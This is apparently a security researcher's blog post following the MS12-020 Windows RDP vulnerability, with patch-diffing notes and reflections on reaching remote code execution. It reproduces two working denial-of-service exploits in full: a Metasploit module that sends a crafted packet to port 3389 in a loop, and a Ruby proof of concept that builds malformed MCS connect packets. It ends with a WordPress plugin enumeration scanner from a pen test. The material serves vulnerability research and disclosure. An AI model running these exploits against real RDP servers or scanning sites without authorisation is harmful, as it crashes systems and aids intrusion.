BinaryNinjas

UPDATE8:

An unverified Chinese mass DoS tool appears with a GUI… virustotal says trojan.

UPDATE7:

A Metasploit module has been released, still no RCE this is just the denial of service PoC re implemented as a metasploit module.

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft RDP DOS MS12-020',

      'Description'    => %q{'Micorsoft RDP service is vulnerable to a DOS on sending a malformed packet.'},
      'Author'          =>
        [
          'unknown',
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'CVE', '2012-0002' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/03/13/cve-2012-0002-a-closer-look-at-ms12-020-s-critical-issue.aspx' ]
        ],
      'DisclosureDate' => 'March 15 2012'
    ))

    register_options(
      [
        Opt::RPORT(3389),
        OptInt.new('COUNT', [ true, "Send Packet this many times. 0 for infinite loop.", 0]),
        OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 0])
      ])
  end

  def run
    count = datastore['COUNT']
    snore = datastore['SLEEP']
    times = 1

    if count == 0
      count = 1
      infinite = true
    end

    while count >= 1 do
      buf=""
      buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00"
      buf+="\x00\x00\x00\x01\x00\x08\x00\x00"
      buf+="\x00\x00\x00\x03\x00\x01\xd6\x02"
      buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04"
      buf+="\x01\x01\x04\x01\x01\x01\x01\xff"
      buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
      buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
      buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
      buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
      buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
      buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
      buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
      buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
      buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
      buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
      buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
      buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
      buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
      buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
      buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
      buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
      buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
      buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
      buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
      buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
      buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
      buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
      buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
      buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
      buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
      buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
      buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
      buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
      buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
      buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
      buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
      buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
      buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x04\x01\x00\x01\x00\x03\x00\x00"
      buf+="\x08\x02\xf0\x80\x28\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x38\x00\x06\x03\xeb\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80"
      buf+="\x38\x00\x06\x03\xed\x03\x00\x00"
      buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
      buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00"
      buf+="\x00\x12\x34\x00"

      begin
        connect
        sock.put(buf)
        print_status("Sending packet #{times}, size: #{buf.length} ...")
        disconnect
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
        print_status("Connection refused. Someone may have clicked 'Close the program'")
      end

      if infinite
        select(nil, nil, nil, snore)
        times += 1
      else
        select(nil, nil, nil, snore) if count > 1
        count -= 1
        times += 1
      end

    end
  end
end

UPDATE6:

What an amazing weekend it’s been.  No (public) RCE for ms12-020 yet but Kostya Kortchinsky (of Immunity?) says he has control of EAX and that’s important.  One of the problems that has been in the back of my mind is that even after EIP is under control, we’re going to need to get our shellcode in somewhere.  If this screenshot is real (and I have no reason to doubt that it is - crypt0ad has no reason to muddy his name) we know thats possible… it’s also the only real tangible step toward RCE that I’ve seen this weekend.  It’s mostly been a lot of time spent understanding where the patch is, where corruption occurs, and where the crash happens.  As it turns out the distance between memory corruption and the crash is quite a few function calls… add to that there is a timing issue… multiple channels are required and then, finally, when the connection is closed we get a double free.  Here is the screenshot.

*too bad we don’t see a CALL [EAX+4]

Also, here are a couple of (untested by me) SNORT signatures for jducks PoC.  These were done by Bughira

UPDATE5: 

This is the “Chinese” screen shot of the supposed working Remote Code Execution bug against RDP actually working.  Of course, this could be a bunch of printf()’s but if they really did have the PoC in November its quite likely they have RCE.  Things I like about it that would make it better than your average hoax … a large initial packet of 131091 bytes suggests a heap spray… followed by a another large packet of 65k (GCC User Data struct max size?).. followed by a small packet that probably triggers NM_Disconnect… which (possibly) triggers multiple calls to _NMDetachUserReq… which eventually calls DetachUser(x, x, x, x)… which calls _SListRemove… which is right about where we are currently seeing PoC’s crash targets.   What we’re not doing in our PoC’s yet is

[1] Understanding which ptr we need to control
[2] Understanding how and what to spray (errr, sculpt, sorry jduck) to control said ptr. (My money is on GCC User Data struct)

UPDATE4: Luigi weighs in on the MAPP exploit leak  <— The plot thickens!
UPDATE3: Luigi’s Advisory and the dat file (packet contents)

There is an use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of the provided proof-of-concept) when set to a value minor/equal than 5.

The problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer

 

UPDATE2: This PoC is not a fake.  It is currently only causing a crash — no remote code execution but a great starting point.  This PoC was written by jduck (Joshua J. Drake) of Accuvant. He has a website, and twitter account and he is not me.  I say this not because I don’t trust the PoC (I do – its been tested)… I say this because people are referencing this PoC as “The BinaryNinjas PoC” and that would be really shitty to read if you’re jduck.

#!/usr/bin/env ruby

#
# ms12-020 PoC attempt
#
# NOTE: This was crafted based on a legit connection packet capture and reversing
# a packet capture of the the chinese PoC.
#
# by Joshua J. Drake (jduck)
#

require 'socket'

def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end

def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end

def make_x224(data)
  [ data.length ].pack('C') + data
end

def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end

host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)

pkts1 << make_tpkt(x224_1)

# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))

# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x01\x22"+  # maxChannelIds
  "\x02\x01\x0a"+  # maxUserIds
  "\x02\x01\x00"+  # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion
min_params = ""+
  "\x02\x01\x01"+  # maxChannelIds
  "\x02\x01\x01"+  # maxUserIds
  "\x02\x01\x01"+  # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds
  "\x02\x02\xfc\x17"+          # maxUserIds
  "\x02\x02\xff\xff"+          # maxTokenIds
  "\x02\x01\x01"+  # numPriorities
  "\x02\x01\x00"+  # minThroughput
  "\x02\x01\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x01\x02"   # protocolVersion

userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)

mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  "\x30" + [ target_params.length ].pack('C') + target_params +
  "\x30" + [ min_params.length ].pack('C') + min_params +
  "\x30" + [ max_params.length ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata

mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)

# send a special one?
#pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")

# send more pkts! - based on poc
8.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}

#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
#pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")

pkts1 << make_tpkt(x224_2 + "\x21\x80")

bigpkt = pkts1.join('')

20.times { |x|
  puts "[*] Sending #{x + 1} ..."
  sd.write(bigpkt)

  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")

  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}

sd.close

UPDATE1: This PoC floating around is a fake/joke.

Updates will roll in slowly as I get time…

The patch, MS12-020, supersedes MS11-065 on Windows  XP and Server 2k3.  That makes things nice and tidy for anyone looking at reversing the patch.  We can look at the updated files here

We’re interested in the Windows XP x86 based binary:

The files are located in C:\Windows\System32\drivers for both Windows XP and Server 2003.  When Diffing make sure you’re using the most recent binary prior to the patch, in this case its MS11-065.

matched functions: 8

[.]
000257f0 FastMoveEncoderWindows(tagRDP_Compress_SendConte -
00025800 FastMoveEncoderWindows(tagRDP_Compress_SendConte
[.]
00025910 AddNodesToHash(tagRDP_Compress_SendContext *,uch -
00025920 AddNodesToHash(tagRDP_Compress_SendContext *,uch
[.]
00025960 FindBestMatch(tagRDP_Compress_SendContext *,usho -
00025970 FindBestMatch(tagRDP_Compress_SendContext *,usho
[.]
00025ae0 RDPCompressNCrush(ulong,uchar *,uchar *,ulong *, -
00025af0 RDPCompressNCrush(ulong,uchar *,uchar *,ulong *,

[.]
000261e0 RDPCompress_InitSendContextNCrush(void *,ulong,u -
000261f0 RDPCompress_InitSendContextNCrush(void *,ulong,u
[*]
000151b0 NM_Disconnect(x) -

000151b0 NM_Disconnect(x)
[*]
000156cc NMAbortConnect(x) -
000156d2 NMAbortConnect(x)
[*]
0002b5d0 MCSChannelJoinRequest(x,x,x,x) -
0002b5e0 MCSChannelJoinRequest(x,x,x,x)
————————————————————-
unmatched functions1: 0
————————————————————-
unmatched functions2: 0
————————————————————-
changed functions: 2
[.]
0002cb30 HandleAttachUserReq(x,x,x,x) – [.]
0002cb44 HandleAttachUserReq(x,x,x,x)
[.]
00020010 sub_20010 -
00020010 nullsub_1
————————————————————-
————————————————————-

So the import change above, not in the red box actually, is the call to ExFreePoolWithTag. It seems this missing free would allow a remote unauthenticated user to consume resources.  So, this is the patch for CVE-2012-0152 …..boooorrrring.

We want memory corruption!  I’m diggin through the rest of the changes… they are subtle and I don’t see where memory corruption could occur yet.  I’ve diffed rdpcore.dll on Windows 7 and there are some obvious code changes to functions that can be hit pre-authentication… one even looks obviously memory corruption related… what’s bugging me is that MS12-020 clearly states that XP SP2 has an RCE fix in this patch.

<snip>

Affected Software

<snip>

So if XP SP 2 has an RCE… and Rdpwd.sys is the only changed file… am I missing something here?  Is the advisory *gasp* misleading?

UPDATE: Cool, http://exploitshop.files.wordpress.com is also doing some analysis… an analyzing GCCUserData might be the way to start looking at RCE.  If thats the case:
<snip>

The whole connection sequence is quite well documented here.

This is a video demonstration of the reverse engineering process used to identify key validation functions in a binary and writing a key generator to produce a valid key for any name entered.

Reverse Engineering MS10-061 Patch. Finding Changed Code, Triggering Breakpoints on Changed code… A typical MS Tuesday.

In this video we setup VirtualKD on the host and client.

- We attach the BinNavi 3.0 debugger
- We trace a get request and then locate the get request in the trace data.

This is a first-cut (no editing or captions) video example of using BinNavi 3.0 with VirtualKD to debug kernel mode drivers.

In this video I attach to the process and start tracing.

First I trace while IIS is idle and mark all of the blocks hit in that trace as idle background noise. Then those breakpoints are removed and only new breakpoints are recorded when processing a get request. This allows us to isolate only the functions used in processing a simple anonymous GET request.

Next we will identify the changed code segments in http.sys before and after MS10-040 and set break points on the added/changed functions.

In this video I show In Memory Fuzzing the recv() return value in AppleMobileDeviceService.exe

This video is used to illustrate the concept of In memory Fuzzing. More complex fuzzers, fuzzers with feedback loops and code coverage will be considered along with a custom GUI in future releases.

I needed to scan a wordpress blog for a pen test I was doing.  I used the wordpress svn repository to generate a list of current plugins, used that list to generate 25,000ish requests to the target_server, and print out any found installed plugins, the installed plugin version and the current version in the wordpress svn repository.

import urllib, re, time, sys
wordpress_server = 'http://plugins.svn.wordpress.org'
target_server = 'http://blog.SITE.com'
def getPluginList():
	pluginpage = urllib.urlopen("http://plugins.svn.wordpress.org/",).read()
	regex = re.compile(r'<li><a href="(.*?)/')
	return regex.findall(pluginpage)

def getPluginVersion(plugin):
	regex = re.compile(r'Stable tag: ([0-9]?\.?[0-9]?\.?[0-9]?\.?[0-9]?\.?[0-9])')
	readme = urllib.urlopen("http://plugins.svn.wordpress.org/"+plugin+"/trunk/readme.txt",).read()
	version = regex.findall(readme)
	return version[0]

def findPlugins(plugins):
	plugin_versions={}
	print "Scanning for " + str(plugins.__len__()) +" plugins"
	for plugin in plugins:
		regex = re.compile(r'Stable tag: ([0-9]?\.?[0-9]?\.?[0-9]?\.?[0-9]?\.?[0-9])')
		readme = urllib.urlopen(target_server + "/wp-content/plugins/" +plugin+"/readme.txt",).read()
		#print readme
		version = regex.findall(readme)
		if version != []:
			print time.localtime()
			print("Plugin found: \"" + plugin + "\" Installed Version:" + version[0]+" Current Version:"+getPluginVersion(plugin)+"\n")
	return plugin_versions

plugins =  getPluginList()
installed_plugins = findPlugins(plugins)

Pentesting, Reverse Engineering, AI, and GPGPU programming… that’s what you can expect to find here.